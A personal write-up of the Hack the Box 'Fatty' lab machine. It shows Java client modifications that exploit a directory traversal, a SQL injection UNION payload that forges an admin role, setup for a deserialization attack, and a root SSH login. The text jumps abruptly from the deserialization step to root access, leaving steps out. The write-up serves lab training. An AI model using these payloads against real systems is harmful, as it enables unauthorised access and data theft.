Fatty is an insane rated box in Hack the Box, it was extremely fun to do even though it took me ~50 hours of work to root it. This box will make you reverse engineer a java client and a server, write some code and learn how symlink really works behind different technologies.
Got some coffee and get ready to enjoy this master piece.
Enumeration
First things first, so Nmap gave us an FTP server with anonymous access allowed, also some other ports that nmap wasn't able to discover what was running on it.
# All ports result
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
1337/tcp open waste
1338/tcp open wmc-log-svc
1339/tcp open kjtsiteserver
# Script results
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar
| -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt
| -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt
|_-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.31
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_ 256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
1337/tcp open ssl/waste?
|_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time.
1338/tcp open ssl/wmc-log-svc?
|_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time.
1339/tcp open ssl/kjtsiteserver?
|_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Foothold
Nmap told us the FTP service allowed anonymous access, is time to connect and see whats on the files
$ ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtc's development server
Name (10.10.10.174:xnaaro): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar
-rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt
-rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt
-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt
226 Directory send OK.
First text file suggest the server has some kind of vulnerability and they changed default connection port but the fatty-client was updated with such changes.
$ cat note.txt
Dear members,
because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337.
Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice
if you use different servers from day to day to balance the server load.
We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of
doing it yourself ;)
Best regards,
qtc
Second note told us they are using Java version 8
$ cat note2.txt
Dear members,
we are currently experimenting with new java layouts. The new client uses a static layout. If your
are using a tiling window manager or only have a limited screen size, try to resize the client window
until you see the login from.
Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11
per default, you may need to install it manually.
Best regards,
qtc
Third note gave us login credentials.
$ cat note3.txt
Dear members,
We had to remove all other user accounts because of some seucrity issues.
Until we have fixed these issues, you can use my account:
User: qtc
Pass: clarabibi
Best regards,
qtc
One we gathered some information, first tried to directly connect with fatty-client which gave us connection error since the port whose trying to connect was not opened.
Reverse engineer and rebuild package
At this point only thing we where able to do is to decompile the .jar package with jd-gui program and export the resulting contents into our computer.
First thing we need is to create a correct maven package layout. To do this copy pom.xml and pom.properties from META-iNF/maven/fatty-client/fatty-client into package's root directory.
Next move all contents from htb to src folder (create it)
Copy the following files from package root into a new resources folder.
$ ls -lsrta resources
total 72
4 drwxr-xr-x 8 xnaaro xnaaro 4096 Jun 13 21:29 ..
4 -rw-r--r-- 1 xnaaro xnaaro 1550 Jun 13 21:29 beans.xml
4 -rw-r--r-- 1 xnaaro xnaaro 2230 Jun 13 21:29 exit.png
8 -rw-r--r-- 1 xnaaro xnaaro 4317 Jun 13 21:30 fatty.p12
4 -rw-r--r-- 1 xnaaro xnaaro 831 Jun 13 21:30 log4j.properties
44 -rw-r--r-- 1 xnaaro xnaaro 41645 Jun 13 21:30 spring-beans-3.0.xsd
4 drwxr-xr-x 2 xnaaro xnaaro 4096 Jun 13 21:30 .
As we saw in the notes.txt, the server port was changed to 1337, then modify resources/beans.xml and change port to 1337
Last step is to build the package with maven, it needs to be done with java version 8.
After enumerating the server with qtc permissions, we saw the following file which informs qtc that only his user is enabled and all admin users removed, this is useful information for later steps.
Contents of -> mail -> dave.txt
Hey qtc,
until the issues from the current pentest are fixed we have removed all administrative users from the database.
Your user account is the only one that is left. Since you have only user permissions, this should prevent exploitation
of the other issues. Furthermore, we implemented a timeout on the login procedure. Time heavy SQL injection attacks are
therefore no longer possible.
Best regards,
Dave
Directory Traversal
At this point we had no idea of how to proceed as we still missing some server behavior knowledge prior exploitation of other vulnerabilities.
Now is time to check if directory traversal was a thing and it was, we were able to see some other files in a previous directory, but due some server side input validation only a single directory traversal was possible.
In the traversed directory with ..///////// payload we can see a file called fatty-server.jar
Modify src/htb/fatty/client/methods/Invoker.java, might need to import some other classes at the begining of the java file.
Modified code for directory traversal file listing
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() { }).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "files");
this.action.addArgument("..///////");
sendAndRecv();
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
return this.response.getContentAsString();
}
Modified code for file download
import java.io.File;
import java.io.FileOutputStream;
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() { }).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument("../////////");
this.action.addArgument("fatty-server.jar");
this.action.send(this.serverOutputStream);
this.message = Message.recv(this.serverInputStream);
this.response = new ResponseMessage(this.message);
FileOutputStream fop = null;
File file;
String content = "";
try {
file = new File("fatty-server.jar");
fop = new FileOutputStream(file);
if (!file.exists()) {
file.createNewFile();
}
byte[] contentInBytes = this.response.getContent();
fop.write(contentInBytes);
fop.flush();
fop.close();
System.out.println("Done");
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (fop != null) {
fop.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
String response = "";
return response;
}
Compile the client with maven again, login and click filebrowser on any folder, then click open.
At this point fatty-server.jar file should be already downloaded
Decompile server contents with jd-gui.
Some of the main thing noticed was a database connection.
Also on checkLogin method we can see an SQL injection was possible as no input sanization was done.
public class FattyDbSession
{
private static String url = "jdbc:mysql://database.fatty.htb:3306/Fatty";
private Connection conn;
private FattyLogger logger = new FattyLogger();
public FattyDbSession() throws SQLException {
Connection conn = null;
conn = DriverManager.getConnection(url, "qtc", "securedatabasepasswordpoweredbyclarabibi!");
this.conn = conn;
}
--------------------------------
public User checkLogin(User user) throws LoginException {
Statement stmt = null;
ResultSet rs = null;
User newUser = null;
try {
stmt = this.conn.createStatement();
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
--------------------------------
}
SQL injection
At first tried many different SQLi payload but got no success, so build a local lab to emulating server side code and client connections.
After a few hours analyzing server responses and modifying client code, got a sucess SQLi.
This is the Client method we have to bypass src/htb/fatty/shared/resources/User.java As we can see client side code will create a hash of username:password+string so our payload was not being executed properly.
All this information was after hours of debugging locally, this write up is not a step by step guide but rather a how to do some parts. You might need to investigate a bit more the code to fully understand and fix the code.
The payload used on username during logging was this, password field could be left empty as we hardcoded the hash in code.
The payload will return looked up server side data from the database and hardcode a role value with 'admin', this way we got admin role on the app without breaking other people fun changing content on the database.
' UNION SELECT all id,username,email,password,'admin' from users where username='qtc
And we got a successful login with admin privileged.
[AWT-EventQueue-1] INFO infoLogger - [+] Connection process finished.
[AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc
[AWT-EventQueue-1] INFO infoLogger - E42C818F80D72ED7E5752AE36777F97628942A23B8F4BBDA3C1A9068409549A9
[AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046
[AWT-EventQueue-1] INFO infoLogger - [+] Login successful!
Java object serialization + RCE
Reviewing server side code was very clear that RCE was through object de-serialization on changePW method but the method was not fully implemented in client side code.
Now is time to make the client change password work to pass a new password in the client GUI src/htb/fatty/client/gui/ClientGuiTest.java
pwChangeButton.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e) {
String response = "";
String new_pass = textField_2.getText();
try {
response = ClientGuiTest.this.invoker.changePW(ClientGuiTest.this.currentFolder, new_pass);
} catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
}
catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
And modify the changePW method to not encode the input and directly pass our base64 encoded payload src/htb/fatty/client/methods/Invoker.java
public String changePW(String username2, String newPassword) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() { }).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
String username = "qtc";
User user = new User(username, newPassword);
this.action = new ActionMessage(this.sessionID, "changePW");
this.action.addArgument(new String(newPassword));
sendAndRecv();
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
return this.response.getContentAsString();
}
At this point we were able to pass a base64 encoded payload during password change, but we still need to find a proper payload.
So at pom.xml in server source we saw commons-collections 3.1 library is used.
After the second logs.tar is downloaded, we can SSH into the box as root user.
$ ssh root@server.fatty.htb -i id_rsa
Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 29 12:31:22 2020
root@fatty:~# id
uid=0(root) gid=0(root) groups=0(root)
root@fatty:~# hostname
fatty
root@fatty:~# cat root.txt
ee982fa19b41-------------------------
Great, we rooted Fatty
To me this was one of the best boxes I've did on Hack the Box and the one on which I've spent more time until now (~50h).
Even though, it was fun and not the kind of boxes looking for unknown things